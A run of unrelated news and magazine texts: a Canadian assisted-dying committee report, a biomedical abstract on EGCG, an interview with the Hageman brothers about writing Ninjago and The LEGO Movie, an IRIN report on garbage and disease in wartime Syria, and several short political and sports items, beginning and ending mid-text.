said the Conservatives MPs who dissented to the report haven't accepted that "dying is a part of life." "I honestly believe that the Conservative MPs – not the senators – Conservative MPs disagree fundamentally with the Supreme Court decision, and have at every opportunity found ways or tried to find ways that would tie up access to assisted dying in such a way as to make the Supreme Court of Canada decision null and void," Mr. Oliphant said. Story continues below advertisement Liberal Senator James Cowan said the majority of MPs and senators of all parties believe the committee has struck a balance that places trust and responsibility in the medical profession to make the right decisions about end-to-life care. "It's not going to be what everybody wants but I think it's a good piece of advice for the government," Mr. Cowan said in an interview. The recommendations are the result of months of public consultations; they will be turned over the Justice Department to draft a new law by the June 6 deadline set by the high court. The main object of the federal legislation is to set a common national framework and avoid a patchwork system of end-of-life care. "The committee made an honest effort to try to listen to witnesses and to come forward with a consensus that seems to be addressing the fundamental issues raised by the decision of the Supreme Court," Liberal Senator Serge Joyal said in an interview. The Supreme Court judgment ending the ban on assisted dying was set to take effect on Feb. 6, but the federal government obtained a four-month extension during which those seeking this outcome must get approval from court. The Liberals initially said they were going to whip the vote to support doctor-assisted dying legislation, but later backtracked, saying they would wait for the committee's report and the bill to be introduced before making that decision. Story continues below advertisement Quebec already has its own law, which came into effect Dec. 10. Since then, one patient in Quebec City's university health-care network received a doctor-assisted death. -Oxidative stress-related phenotypic changes and a decline in the number of viable cells are crucial contributors to intervertebral disc degeneration. The polyphenol epigallocatechin 3-gallate (EGCG) can interfere with painful disc degeneration by reducing inflammation, catabolism, and pain. In this study, we hypothesized that EGCG furthermore protects against senescence and/or cell death, induced by oxidative stress. Sublethal and lethal oxidative stress were induced in primary human intervertebral disc cells with H2O2 (total n = 36). Under sublethal conditions, the effects of EGCG on p53-p21 activation, proliferative capacity, and accumulation of senescence-associated β-galactosidase were tested. Further, the effects of EGCG on mitochondria depolarization and cell viability were analyzed in lethal oxidative stress. The inhibitor LY249002 was applied to investigate the PI3K/Akt pathway. EGCG inhibited accumulation of senescence-associated β-galactosidase but did not affect the loss of proliferative capacity, suggesting that EGCG did not fully neutralize exogenous radicals. Furthermore, EGCG increased the survival of IVD cells in lethal oxidative stress via activation of prosurvival PI3K/Akt and protection of mitochondria. We demonstrated that EGCG not only inhibits inflammation but also can enhance the survival of disc cells in oxidative stress, which makes it a suitable candidate for the development of novel therapies targeting disc degeneration. -President Trump uttered one of his trademark quasi-dictatorial assertions during a Thursday-night interview with Laura Ingraham on her new show The Ingraham Angle (is that the permanent name, Fox News? You’re sticking with that?). Ingraham asked Trump about the massive number of vital diplomatic jobs that have remained vacant at the State Department as Rex Tillerson continues to systematically gut the agency — though she approached the crisis as worse news for Trump than for the United States. Trump says he's not worried about unfilled State Department roles b/c "the one that matters is me. I am the only one that matters." pic.twitter.com/JxcWiy7ozY — Aaron Rupar (@atrupar) November 3, 2017 “Your State Department still has some unfilled positions. Are you worried that the State Department doesn’t have enough Donald Trump nominees in there to push your vision through?” Ingraham asked, adding that “there’s a concern that the State Department is currently undermining your agenda.” Trump responded with his customary eloquence and clarity of mind. “So we don’t need all the people they want,” Trump said. “I’m a businessman, and I tell my people, ‘When you don’t need to fill slots, don’t fill them.’ But we have some people that I’m not happy with there. Lemme tell you, the one that matters is me. I’m the only one that matters, because when it comes to it, that’s what the policy is going to be.” Trump then blamed Chuck Schumer and Democrats for obstructing nominees (which is definitely not what’s happening) and defended “cost saving” as a diplomatic strategy. The autocratic egoism on display echoed several previous Trump moments, from his campaign ad released earlier in the week (“President Trump will fix it”) to his frightening speech at the Republican National Convention speech in 2016. And it wasn’t the only authoritarian-infused section of the Ingraham interview. Trump also defended comments from Wednesday, in which he referred to the U.S. criminal justice system as a “joke” and “laughingstock” for not prosecuting terrorists faster. He also called Donna Brazile’s account of Hillary Clinton’s Democratic National Committee “takeover” a “major story,” comments that served as a nice entree into his tweets Friday morning, in which he urged his Justice Department to go after Clinton. Norms, schnorms. -I’m waiting on line at Urth Caffé when I get a text from Dan Hageman: “You here? We’re out front at a curb table.” The lunchtime bustle at Urth—the most ubiquitously “Los Angeles” coffee spot in downtown—was so crowded that I must have missed Dan and his brother Kevin when I first walked in. The Hageman brothers (Kevin is 40, Dan, 37) are easy to spot, even amongst the sea of hipster locals. They both wear rectangular glasses, collared shirts, and cozy sweaters, and they share enough of the same facial features to clearly mark them as as brothers—although sometimes that similarity is mistaken for something else. “Yeah, a lot of the time people will think we’re a couple,” says Dan. Kevin nods, “We go to a lot of business meetings and the first thing the executives will say is ‘So, how did you two meet…?’” I’ve asked Dan and Kevin to meet me today because I’m enlisting them as the guinea pigs for a new writing project I’m embarking on. It’s been nearly four years since I moved to Los Angeles for college, and in just a few months, I’ll be continuing to live here without the backbone of university to keep me steady. In my time in L.A. I’ve bounced between many career dreams: first I wanted to be an actor, then a screenwriter, then a stand-up comedian, then a journalist, and now my passions lie in the murky gray area between the want for all of these things. I’ve found pieces of success in each of these arenas, but as the deadline to start making a real career for myself draws nearer, I find myself almost choking on fear. Here in the epicenter of The Industry (capital letters) it’s easy to grow desperate at the massive amounts of wealth success that surround you. So I’ve decided to go out into Hollywoodland and interview as many people as I can who aren’t necessarily the flashiest, most successful artists in the business, but who rather are a working part of the mechanics of the industry; the people whose careers are built on sweat and toil and the persistent, intangible goal of one day “making it big.” I call them “the E-List”: the people who grind the gears of Hollywood and rarely receive the credit—for now. The Hagemans are ideal first candidates. For starters, they weren’t offended when I used the term “E-List.” But they are also serious working screenwriters in Hollywood whose scripts—which include 2012’s Hotel Transylvania, the massively successful Cartoon Network series Ninjago: Masters of Spinjitzu, and the soon-to-be-released LEGO Movie—are beginning to find their way into the mainstream Hollywood vernacular. I’m here to pick their brains about how they’ve gotten to where they are, where they hope to go, and what kind of wisdom they have for someone like me, who harbors dreams of screenwriting but no real sense of how to get there. Haley: So give me a little background about yourselves. You’re not native Los Angelenos—what spurred you to come here and start writing for film? Dan: We’re from Oregon originally, so we actually feel very much like outsiders. Kevin: I came here for film school, at Loyola Marymount. Dan and I grew up together making movies—I would direct a lot of, you know, video camera crap. And I would force my brother to be in my movies. Dan: I was always doing whatever Kevin did. Like if Kevin wanted to take piano lessons, I would start playing the piano. I was always emulating my brother. And then Kevin was really big into acting, and so I went into acting. I always thought whatever he could do, I could do better. Kevin: And it’s still there, that competition. Dan: Well the place where he got me was in acting, because even when he was in high school he would get every lead. And then I would go and I would get— Kevin: That’s not true! I started off with small parts! Dan: Yeah, but even when you were a freshman you were like, Woody Allen in Play it Again Sam. Kevin: True, but you always had that huge beard, even when you were 15, so I guess that makes us even. Haley: So then Kevin went to film school, and you didn’t, Dan? Dan: Kevin went to film school because he wanted to be a director, and at that time I wanted to go into music for film; film scoring and composition. I thought my brother will get jobs, I’ll write the music to his movies… Kevin: And we’ll both become famous! Dan: Of course, when Kevin graduated film school, he had a crisis of faith with the realization of, who the hell’s gonna give him money to make a movie? All of his film buddies’ parents would give them like, twenty grand to make student films, and our parents basically said screw that, you’ve got to do it on your own. Then I’m thinking, “How am I gonna become a famous composer if my brother can’t even get a movie off the ground?” And so we decided to write something. Kevin: At this time I had recently graduated. I was an unpaid intern and then became an assistant at Dark Horse Entertainment, around the year 2000. And I had a great mentor there named Mike Richardson, and I actually spent 8 years working on the development side, working with writers. And I just kept meeting with these writers and thinking, “Why can’t I do this?” Neither of us ever thought never thought we could write, so we started to print out our favorite screenplays—Raiders of the Lost Ark, Jaws—and we just read the scripts— Dan: Goonies. That was the first one that we loved so much we printed it out and read it. And we were just like, “Oh my God, this is such a bad script.” I don’t know if you’ve read the original script, but there was originally a scene where the Goonies are attacked by a giant squid, and they escape because Data takes out his Walkman, puts his headphones over the squid’s ears, and the squid just rocks out to Cyndi Lauper. Amazingly bad. Kevin: So we thought, we could do that. Dan: That gave us the fire to say, we could probably do something like this. Kevin didn’t go to film school to be a writer, I had some writing skills but nothing professional— Kevin: I took one screenwriting course and I was like, whatever. I barely got a passing grade. Dan: But we wrote off our own passion of what we thought would be a really great movie. Our first script was a passion project, but it totally sucked. We loved it; we thought it was the greatest thing in the world. I remember Kevin had shown it to some guy on a plane—like, the assistant stunt double on the movie Predator— Kevin: And this guy read it and was like, “This is the second best script I’ve ever read, outside of Predator.” He was nobody, but we ate it up. Haley: There’s definitely a fun effect in Los Angeles, where everyone’s always trying to sell their product or scripts to whoever they think might be buying. You schmooze the guy you think is higher up than you, but he’s schmoozing you because he thinks you might be higher up than him—when really nobody’s anybody and everybody’s just trying to get their screenplay read. Dan: Oh yeah, because that’s when I said, “I’m moving down to LA! We’ve got talent!” We thought it was our big break. Jokes. I’m telling you the whole story now, of how we went from shit to…wherever we are now. Kevin: And we literally came from shit. We used to work at a sewer treatment plant. Our father used to build them. So we had this chance to take over a lucrative family company to build, you know, shit factories— Dan: And we were like, screw this shit. Kevin: Literally. Haley: And what did Dad say when you left the family business to work in film? Dan: Oh, he loves it. Kevin: He was scared at first, he hated the idea…I just remember there was a Christmas once where we opened up the presents, and Dad was SO excited to give these gifts to us— Dan: And it was a hard hat and hammers. Kevin: It was supposed to be the start of us training to work with him. And we were like, “No, we’re artists, we want to move to LA!” Dan: But there was a nice moment recently where he teared up and said, “You boys don’t need me anymore. You didn’t take the family company, but you made it on your own.” It was a really touching moment. Haley: But of course, it’s been a long battle, to finally be making a steady living off of screenwriting? Dan: It never gets easier. It’s an uphill battle every time, and you’re always starting from scratch. Kevin: And always in today’s climate in risk-averse studios, it’s hard for any creative writers or directors…you need a brand, you need the rights to something big. Dan: There was a 10-month period where it felt like you had to have Steve Carell attached to your project, or you weren’t getting hired. Kevin: It took us ten years of writing before anything actually got made. We were tossed around a lot, we had a major screenplay making the rounds—they told us it was gonna sell for 2 million dollars. We had this major meeting at CAA, they’re telling us Steven Spielberg is going to direct—Dan, you cried, didn’t you? Dan: I was in my Dodge Neon crying on my way to that meeting. I felt like, oh God, we made it. Kevin: Of course, we didn’t. There was some legal blockage, as there always is, and suddenly we’re being told that not only is our 2 million dollar script worth nothing, but that we can’t ever sell it to anyone, ever. Haley: So, tell me about how you came to the decision to write as partners. Kevin: Well I started writing by myself, in film school. Dan: And that went horribly wrong. Kevin: It was okay, but when Dan came in, the scripts got better. Dan: We used to always say it was a heart and mind thing. Kevin was the passion and energy behind a project, where he’ll look at something and say, “This movie has to have this scene, or this moment,” and I’m more of the copywriter who says, “Well if you want to have that moment you need to be able to track that in the structure.” Haley: And do you ever come into conflict? Kevin: Whaaaaaat?! No! Yes. Dan: I mean, it’s difficult to write with your brother, but we’ve met people who are married and write together. It’s so subjective. One of you will be writing some beautiful moment…”and here’s where he’ll take the flower, and reflect on his life…” and the other one is like “HE HAS TO LEAVE THE FLOWER! IF HE TAKES THE FLOWER IT RUINS EVERYTHING!” Haley: And what happens then? Dan: I steamroller him. Or Kevin shuts the Skype down. Kevin: We do a lot over video chat and it’s helpful to just go, BOOP! Goodbye. I’m more of the patient brother, he’s more of the hotheaded, impulsive brother. So he’ll get so tunnel-visioned in that flower moment– Dan: The flower moment has to resolve now or you are no longer my brother! Kevin: You’re an idiot for thinking that! Only someone who doesn’t know how to write would resolve the flower moment like that! Dan: That’s what’s hard with your brother, is you can cut deep. You push buttons. Kevin: But it also pushes you to find the gem. If you’re writing by yourself you can get stuck in a corner, and it’s so hard to come out of that. Dan: Think of it like another editor, too. If you’re writing by yourself, it’s a first draft. But when you’re writing with a partner, your first draft is really a second draft because everything’s gone through two different minds. If we turn in a script we both like, we don’t feel indecisive about where it is. And the highs and lows, to share that with somebody, there’s a lot of love. The highs when they come are amazing, and the lows are…manyful. Kevin: I don’t think “manyful” is a word. Dan: Excuse me, I’m a professional writer. Haley: So let’s talk about what’s been working for you. The LEGO Movie is a huge deal, and that’s coming out soon, but I think the real surprise success has been Ninjago. Dan: We never ever thought we’d see ourselves end up in children’s animation television, but at the time it was presented it to us, we had been working for seven years and nothing was ever produced. Kevin: This was right after we had set The LEGO Movie, which was great, but there was a lot of politics that come into play, and some really big directors came in and the studio basically said, “Why don’t we let these big directors write this? Why are we letting the Hagemans do this, who don’t have a single thing produced yet?” Which is understandable, of course. Dan: It really was a good decision by the studio. But we felt a bit like we were in a bum situation. So then Lego comes to us and says, “Well, we have this 44-minute special we want to do about LEGO ninjas.” And we weren’t really sure at first. But then they said, “We are DEFINITELY going to make this.” Kevin: And we said “Promise?” And they said yes. Dan: So we said, fine. We will give you 44 minutes of wall-to-wall, action packed awesomeness, and it’s going to kick ass, because all of our pent up frustration is going to go into it. And it was only supposed to be those 44 minutes, to launch a toy line, but it ended up going really well, and it turned into 13 episodes, which turned into 13 more episodes, and now we’re going into our fourth and fifth season. I think it’s actually the number one intellectual property for boys. [in fact, since its launch in 2011, the LEGO brand has credited Ninjago with growth of more than 25%, while capturing 7% of the global toy market. Source: http://cargocollective.com/rvhm/Lego-Ninjago] Haley: I see Ninjago apparel everywhere. Little kids in Ninjago shirts with Ninjago lunchboxes. Dan: A couple weeks ago we saw a grown man was wearing a Ninjago shirt, and we were like, LOOK AT THAT! Kevin: Yeah, like a 44-year-old enormous black homeless man. Dan: I don’t think he actually chose to wear it. But still! Haley: So how much of Ninjago is just the two of you? Are there other writers? Dan: Ninjago is so different from other shows—there is no writer’s room, there’s no showrunner. It’s literally just us writing these scripts. When we were hired to write the first 13 episodes, the first thing we did was call up someone who wrote for TV and basically ask, “How the hell do you write a TV series?” We really learned by the seat of our pants. Fake it ‘til you make it. We know what we want to see, we know what we don’t want to see. And you just kind of write towards that. LEGO came to us with a very simple approach: four ninjas, Sensei Wu, and a bad guy. What LEGO did well is that they understood that this was a toy commercial, but if we’re just writing a toy commercial, there’s no fun in that. At the same time, Dan and I didn’t mind writing a project that has to have, say, a tank with a grappling hook in it, because tanks with grappling hooks are cool. And also ninjas are cool. Kevin: So we came in and we wanted to bring a Star Wars quality of mysticism and magic and really make it a world, a universe. So we said, this isn’t about ninjas collecting weapons, it’s about a brother saving his sister. And we brought the emotion into the story. Dan: There was a little bit of pushback in bringing a girl character into the story. Kevin: But now there’s a real large growing girl audience for the show—something like 30% of our viewers are female. Dan: Teenage girls, too. There’s kind of a Twilight Team Edward thing going on, when girls are into Team Cole or Jay. Kevin: It’s become a great synergy with LEGO now, where they’ll create toys that inspire us, and we’ll put them in the show, or we’ll have ideas and they’ll design a toy off the scripts. Dan: Everyone kind of signed off, from to the musicians to the composers to the animators, on really raising their bar. We all understand it’s a toy thing, but we all want to make it more than just a toy thing. Kevin: I mean, we treat this very seriously. When we first started to write the actual series, we had to do 13 or 26 episodes, and the producers suggested we just follow a Teenage Mutant Ninja Turtles format: close-ended, half-hour, disposable episodes. But we didn’t want to watch that. We were inspired by these wonderful serialized adventures we loved—Indiana Jones, Star Wars—and we thought, why can’t we make something like that for kids? Dan: It made you believe in the world. We were talking to the Cartoon Network about why kids have embraced it so much. And they were saying that all the content that’s out there is all just rehashing of their parent’s stuff: Transformers, GI Joe, Avengers. But Ninjago is the first world they feel is their own. They know the names; they know how to pronounce Lord Garmadon. Haley: You obviously have to be very conscious of your audience. Dan: You gotta keep it light for the six-year-olds. Those are usually the notes: you can’t say “war;” you have to say “battle.” Kevin: Don’t say “fight” or “stupid.” No hitting in the face. Dan: What’s fun about Ninjago is that they fight inside these tornadoes, so you can’t really see anyone, I don’t know, tearing out a jugular. But that’s what I imagine happens in there. Haley: You seem to really love the work you’re doing. Dan: Here’s the big secret: We’re actually writing it just for us. There’d be a lot more swearing in it, if we could get away with it. But it’s been so much fun for us, and we keep going back to it because our relationship with LEGO has been the best working relationship that we’ve ever had. There’s a trust: they trust us and we trust them. Kevin: I was really surprised by the difference between TV and film, and how in film right now, as a writer you’re really in the shadow. Dan: Making a movie is really like a marathon, and as a writer you’re holding the first baton…just waiting for them to hire another writer or someone to take that baton from you. With Ninjago right now we’re in the driver’s seat, and it’s a great feeling. Haley: But of course, now you have The LEGO Movie coming out. Kevin: We’ve seen the rough cuts, and we’re so proud of it. Dan: We were so impressed to see the vision exceeded our own. Years ago, before we were getting produced, we thought that people were only making movies that are already entities. So we brainstormed ideas that we that people would pay to see, and one of those ideas was a LEGO movie. We wrote a 3-page treatment, then threw it in a drawer, cause we never thought we were actually gonna get the rights. So it was kind of kismet, when the producer Dan Lin called years later and asked if we were interested in LEGO. Totally chance. Kevin: It was interesting because in the beginning, we talked to so many people, and no one understood what a LEGO movie could be. And to us, it was always so simple. We just came up with the most basic of stories: A LEGO, who lives in LEGO city, suddenly finds himself in a whole new world that he’s at the center of. Basic fish out of water. Haley: Now, you have the story-by credits, not the screenplay credits. What does that mean? Dan: We wrote the initial treatments, setting up the central structure, including the different worlds and many characters Emmet meets along the way. Warner Brothers then brought in writing/directing pair Phil Lord and Chris Miller, to run all those ideas through their processors. They are HILARIOUS. And they really brought the comedy element to the movie. That’s their forte; they really elevated the movie to the next level. Kevin: Because we tend to stick in the emotional tones. We’re always looking for the emotional drive and the serious beats, what makes characters tick and all that. But you can’t just have emotion and no comedy, or you’d have the most depressing animated LEGO movie of all time. Dan: It was the same with Hotel Transylvania. Our original scripts were a little too brooding, to serious, and then Sony Animation brought in more writers to punch up the comedy. Kevin: And the visuals of The LEGO Movie are going to be really incredible. It’s literally made entirely of LEGOs. Everything. If you see fire, or smoke in the distance, that’s all LEGOs. And it looks incredible; the artists really raised the bar. Dan: We wanted to write a water scene, but thought we couldn’t because—well, how do you shoot a water scene in all LEGOs? But Phil and Chris didn’t let that hold them back and did it, and it looks amazing. Kevin: We were also confined to the limits of what LEGO figures can do—which isn’t much. So that became part of the humor—you can see in the trailer when Emmett does jumping jacks, and he’s just barely moving his arms and legs, because, well, he’s a LEGO. And it has this almost cheesy, stop-motion-esque quality to it—which we don’t have in Ninjago—and it really brings the whole concept together. It looks great. That’s what I think I’m most excited for, is how it all looks. Dan: This has been an incredibly exciting time for us. There are promotions everywhere, and giant Legos everywhere, and you can start to see kids getting really excited. Haley: I have to say, I’ve seen the trailer, and it looks pretty awesome. Kevin: We think so. We hope so. Dan: So did you get what you wanted from us? Whatever life advice you’re trying to suck out of this interview? Haley: I don’t know. You guys are cool. You make it sound scary—it clearly hasn’t been a quick route to success—but you’re also in this amazing place where you’re doing work that you love, and it’s working for you. Dan: You already know the basic advice. Don’t quit. It never gets easy. Don’t give up. Haley: It’s not very original, but I guess it works. Kevin: You’re not going to find original advice. It’s the same grind for everyone. You just need to have the drive, and the skill, and the will, to push it through to the other side. And then you end up writing screenplays for toys. It’s really not a bad trade. The LEGO Movie opens February 7th, 2014. -Amid the snipers, the rubble and the misery on many Syrian streets is another ugly phenomenon: garbage. In Adel’s* hometown of Janoub al Malaab, a district of Hama city, piles of waste give off an odour that is nearly unbearable. “You can see the dirt rot in the sun, and you can smell it. There are areas you cannot even approach because the stench is so bad,” said the local activist. “People are suffering from it.” Solid waste disposal and collection has been severely disrupted in embattled areas of Syria, more than two years into a conflict that has spurred a public health crisis. In areas held by the rebels, the state has all but stopped providing waste collection services. Combined with worsening hygiene and soaring summer heat, the uncontrolled garbage is putting about five million people at risk of disease, according to Ahmedou Bahah, manager of water and sanitation programmes for the UN Children’s Fund (UNICEF) in Syria. “In July, temperatures will increase to up to 40 degrees, which poses a significant public health hazard in connection with the lack of clean water supply and waste management,” he told IRIN. In the embattled districts of Homs, state dustcarts have not been seen for the past 16 months, since government troops started a devastating military campaign. Instead, civil activist networks have sprung up, organizing committees tasked with cleaning the streets. “We collect all the trash in one place until there is a heap as big as a mountain,” said Mohammed*, a local activist. Usually, the activists create makeshift dumpsters (piles of rubbish) in areas that are now empty because residents have fled. “Once or twice a week, we’d get a truck and move it outside. It’s dangerous, though, because you have to pass checkpoints, and the soldiers often accuse us of smuggling weapons inside,” he said. “Sometimes people have been arrested, and sometimes they have forced us to unload everything.” Local efforts are also hampered by the ongoing clashes and limited capacities. “We’ve tried to solve this problem, but it’s still bad,” said Ahmed, an activist in Albara, a town of 20,000 in the Jebel Azzawieh region of rebel-held Idlib Governorate. “You can find volunteers to collect the trash for one day or two, but not every day, and we don’t have funds to pay salaries.” In addition, Ahmed said, to take away the refuse, they need trucks and fuel, which is expensive and not always available. “It’s a big town, so you need at least three vehicles if you want to clear the streets, but sometimes we can find only one.” “Whenever there is fighting, there is a problem,” said Adel, the activist in Hama. Though the city is militarily under regime control, public services have severely eroded, he said, while intermittent clashes make it difficult for the residents to clear their own streets. For instance, snipers sometimes make it almost impossible to cross the streets, let alone walk around and collect the rubbish, he added. When the army seals off certain districts, activists sometimes cannot take out the waste for weeks. “Then we bury it in the ground because there is nothing else we can do,” Mohammed said. Coinciding with a general collapse of infrastructure as well as a severe disruption of the health system - the World Health Organization (WHO) says at least 35 percent of the country’s hospitals are out of service - the pile-up of rubbish is likely to lead to a proliferation of diseases, according to Basel al Yousfi, director of WHO’s Centre for Environmental Health Activities in the Jordanian capital Amman. Leishmaniasis “Waste accumulations in streets are breeding sites for pests such as mosquitoes, flies and mice that could transmit many diseases such as Leishmaniasis, causing epidemics and outbreaks, particularly in emergency and conflict situations,” he told IRIN. In addition, al Yousfi warned, odours due to biodegradation might lead to serious respiratory problems. Already, reported outbreaks of Leishmaniasis, a disease transmitted by a sand fly that leads to skin ulcers resembling leprosy, have increased dramatically. According to WHO, humans can be infected if bitten by female sandflies after they have bred in waste. Internal displacement and limited access to health care are also contributing to the spread of the disease. Leishmaniasis has been on the rise in the city of Homs, residents and activists say, but Aleppo city, as well as the rural parts of Aleppo and Homs governorates, are worst affected, with local NGOs reporting as many as 4,000 cases in each area. “We cannot confirm these figures, but if hygiene standards continue to deteriorate, the spread of Leishmaniasis could reach catastrophic levels,” UNICEF’s Bahah said. Insects, especially flies, have been multiplying since the start of the summer, said Ahmed, the activist in Idlib. “You have Leishmaniasis in many places now. It’s gotten worse since the start of the summer. This is why we are now trying harder to take away the trash. People are starting to fear for their health.” Though the rise of communicable diseases in Syria like typhoid, hepatitis, cholera and dysentery is mainly attributed to shortages of clean water - according to UNICEF, the availability of safe water in Syria is one third what it was before the crisis - the amount of waste putrefying in residential neighbourhoods is aggravating an already critical health situation. According to WHO, acute watery diarrhoea increased by 172 percent between January and May 2013, from 243 to 660 reported cases. Hepatitis A increased by 219 percent from 48 to 153 cases in the same period. Logistical challenges As the peak of summer heat approaches, UNICEF has started implementing a contingency plan to reduce the risk of diseases related to hygiene and sanitation. It is supporting communities collecting and transporting solid waste and working with local partners to raise awareness and provide hygiene items and pesticides. Civil society activists in Aleppo are also receiving support in garbage clean-up from the Jesuit Refugee Service. But aid agencies and civil society activists face many logistical challenges. “Security is one of the main problems,” Bahah said. “Sometimes trucks full of waste are unloaded three to four times at checkpoints before reaching the dumpsters. This is why we are negotiating with the authorities now.” Rebel forces have also hampered attempts to bring the waste situation under control. On the highway between Hama and Homs, Bahah said, they have blocked aid convoys carrying petrol needed for the dust carts because they suspect the fuel will end up being used by the army. In rebel-held districts of the capital Damascus, the Free Syrian Army (FSA) is trying to fill the gap left by the state. “But it’s obviously difficult because when there’s shelling, nobody cares about cleaning the streets. So, in some districts, the situation is disastrous. You even see dead animals lying in the streets.” When the FSA penetrated into the city centre in July last year and clashes broke out, public services were suspended for about a week, highlighting the risks for a city of two million people. “It was horrible - there was waste everywhere,” said Modar, a local student who gave only his first name. “Now we can really picture what will happen if the FSA should one day enter the city centre.” Click here for more IRIN reporting on how a lack of access to water, sanitation and proper hygiene is threatening Syrians and others across the region. *not a real name gk/ha/cb -“Some guys are lucky but not so competent. Some guys are unlucky but very competent,” Philippine National Police Director General Ronald dela Rosa said on Tuesday, defending his decision to bring back a canned officer as head of the PNP’s new narcotics force. Senior Supt. Albert Ignatius Ferro was the chief of the PNP Anti-Illegal Drugs Group (ADG) that President Rodrigo Duterte ordered dissolved in October last year after officers of the unit were involved in the kidnapping and murder of South Korean businessman Jee Ick-joo. ADVERTISEMENT The entire ADG was fired, and criminal charges were brought against the officers involved in the crime. Ferro was sacked, too, under the principle of command responsibility. New job But after Mr. Duterte ordered the PNP back to his war on drugs, Dela Rosa formed a new narcotics force—the PNP Drug Enforcement Group (DEG)—and put Ferro in charge of it. Explaining his decision to reporters on Tuesday, the PNP chief said Ferro was not directly involved in the murder of Jee and was “even instrumental in the resolution of the case.” “Maybe one year after he was relieved, he has learned his lesson well. He will no longer get personnel who are not trustworthy. My instructions to him is to coordinate with the director for intelligence for the vetting process of the personnel he will get for the PNP-DEG,” Dela Rosa said. He described Ferro as a “very competent” officer who “got unlucky” because of “rogues” in the ADG. Ferro, he said, “deserves another chance.” Dela Rosa said Ferro had established links with foreign narcotics forces, including in the United States, China, Taiwan, Hong Kong and countries in Southeast Asia, which would be vital to the Philippine campaign against illegal drugs. ADVERTISEMENT ‘He can really deliver’ “I am after how the PNP-DEG will perform now that we are back in the war on drugs. I need someone who can steer this group to a higher level. I need someone who will perform and deliver and I know him (Ferro), he can really deliver given his track record,” Dela Rosa said. Addressing critics of his choice of Ferro, the PNP chief said: “Criticize me, not Ferro, because that is my decision.” Dela Rosa has also renamed “Oplan Tokhang” and “Oplan Double Barrel,” the two PNP operations that have become synonymous with extrajudicial killing because of the thousands of suspects killed by police in drug raids. The operations are now called “Oplan Tokhang Petitioned” and “Oplan Double Barrel Cautioned.” Dela Rosa explained, joking: “Petitioned” because Tokhang has been challenged in the Supreme Court. “Cautioned” because drug operations will now be carried out more cautiously. ‘What’s in a name?’ He said Director General Aaron Aquino of the Philippine Drug Enforcement Agency (PDEA)—the lead agency in the war on drugs—had suggested that the PNP drop “Tokhang” from the campaign’s name, but the PNP decided to stick to its guns. “His suggestion is well taken. But what’s in a name? What is important is the result, what happens in your campaign regardless of the name,” Dela Rosa said. “If you change your campaign’s name, you are trying to deodorize it to make it acceptable to critics. But the critics will always find something for which to criticize you. They will still make up stories. Changing the name is the least of my concerns,” he said. Dela Rosa gave assurance that the “third edition” of the police campaign against drugs would be “more refined,” after revisions of perceived flaws in the earlier operations. “Expect more caution” on the part of narcotics agents, he said, adding that the PNP was gathering inputs from its personnel to improve the campaign. Dela Rosa said his initial instruction for the return of the PNP to the war on drugs was to “make sure that our operations are not infiltrated by syndicates.” Read Next LATEST STORIES MOST READ -Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email BRUTAL Con-Dem welfare cuts will have cost Scots a staggering £4.5billion by 2015. And Deputy First Minister Nicola Sturgeon says £1billion of the eye-watering amount is being taken from measures aimed at helping children. She used a Scottish Government analysis of the cuts, published yesterday, to claim that backing ­independence would rid the country of Conservative benefit slashers. Chancellor George Osborne estimated the total impact of the cuts on ­Scotland between 2010 and 2015 would be £2.5billion. But speaking at the SNP conference in Inverness, Sturgeon said she took anything the Tories said “with a healthy pinch of salt”. She added: “I asked ­officials to check the figures and guess what? It seems the cumulative cut will not be £2.5billion. “It will be £4.5billion, taken from the purses and wallets of hard-working people right across Scotland who can least afford it. “Make no mistake, it will be hard-working people who will feel the pain. And ­disabled people too.” The analysis showed cuts of £29million in 2010-11 grew to £302million in 2011-12 and £827million this financial year. On current spending plans, cuts of £1.447billion will bite next year, reaching £2.062billion in 2014-15. Sturgeon also revealed £1billion of the cuts in Scotland will be to benefits that directly help children. These include abolishing the health in pregnancy grant, the abolition of child trust fund payments and the changes to income support and child benefit. Sturgeon said: “That is equivalent to a cut of more than £1000 for every child. “So there you have it – the awful price of letting ­Westminster control our resources and take our ­decisions for us.” But a UK Government spokesman dismissed her figures as “unofficial, crude and misleading”. -The Standards in Public Office Commission has defended the cost of investigating a Fianna Fáil Senator’s expenses insisting the majority of the money was spent on challenging court cases taken. Freedom of Information documents released to the Journal.ie this morning showed it has cost €300,000 to carry out an investigation into the alleged duplication of expenses by Brian Ó Domhnaill. Mr Ó Domhnaill is accused of claiming expenses for different events held at the same time. Sipo has insisted the majority of the €300,000 was spent on challenging court cases taken by the Donegal Senator. Mr Ó Domhnaill took cases in the High Court and the Court of Appeal seeking to prevent Sipo investigating the duplication of expenses. He lost both cases. A Sipo spokesman said the body had won its claim for costs so the majority of the monies would be returned to the exchequer. A total of €25,000 was spent on translation services, which was a request by Mr Ó Domhnaill. He sought to conduct the public hearing in Irish. A Sipo spokesman said this was his constitutional right but it did add significant costs. The spokesman said a standard investigation would cost a fraction of Mr O’Dómhnaill’s. “We have a duty to investigate all complaints forwarded to us. The majority of the costs involved here related to Mr Ó Domhnaill’s decision to take a High Court challenge and to subsequently refer it to the Court of Appeal. “That is his right and entitlement. However it should be stressed that a large sum of our legal costs will be refunded to the exchequer.” Sipo has made a preliminary decision in the case and a final report is being drafted at present. Mr Ó Domhnaill declined to comment until the office has concluded its work. -Marco Verratti has been photographed with a copy of Mundo Deportivo which has a headline linking him with Barcelona, although the Paris Saint-Germain midfielder would not make any comment on his future to the Catalonia-based newspaper. Verratti, 24, who has been joined on holiday in Ibiza by agent Donato Di Campli, told the paper that he "cannot talk about my future right now." Several reports have linked the Italy international with a move to the Camp Nou, and former Barca defender Eric Abidal said he believed he would be an ideal signing. "He has everything needed to play here [at Barcelona]," Abidal told Mundo Deportivo. "Barca have played against PSG a lot in recent seasons, and when Verratti is not playing you can see the difference. He is a star Barca have to sign." Abidal has also said he believes Borussia Dortmund attacker Ousmane Dembele would be another good addition, telling SPORT: "Dembele is a good representative of the French academy system, which always brings through good players. "I thought that last year when he left Rennes he would come to Barca because he has a lot of talent. "Could he come now? I do not know. Anything is possible and it would be a great signing. "He is a dangerous player with a lot of quality. A player so young needs to play, but to come to Barcelona would also be a plus for him, to keep growing." -MPAA Vice President Greg Frazier has made some interesting comments on copyright and widespread Internet piracy during a lobbying visit to Brazil. Among other things, Frazier told a local newspaper that democratizing culture is not in the interests of the MPAA. As it turns out, the MPAA's definition of creativity and culture is a rather narrow one that is quite different from that of the general public. The MPAA sent its Vice President Greg Frazier to Brazil this week to carry out some damage control. Last year the former president of Brazil posed with 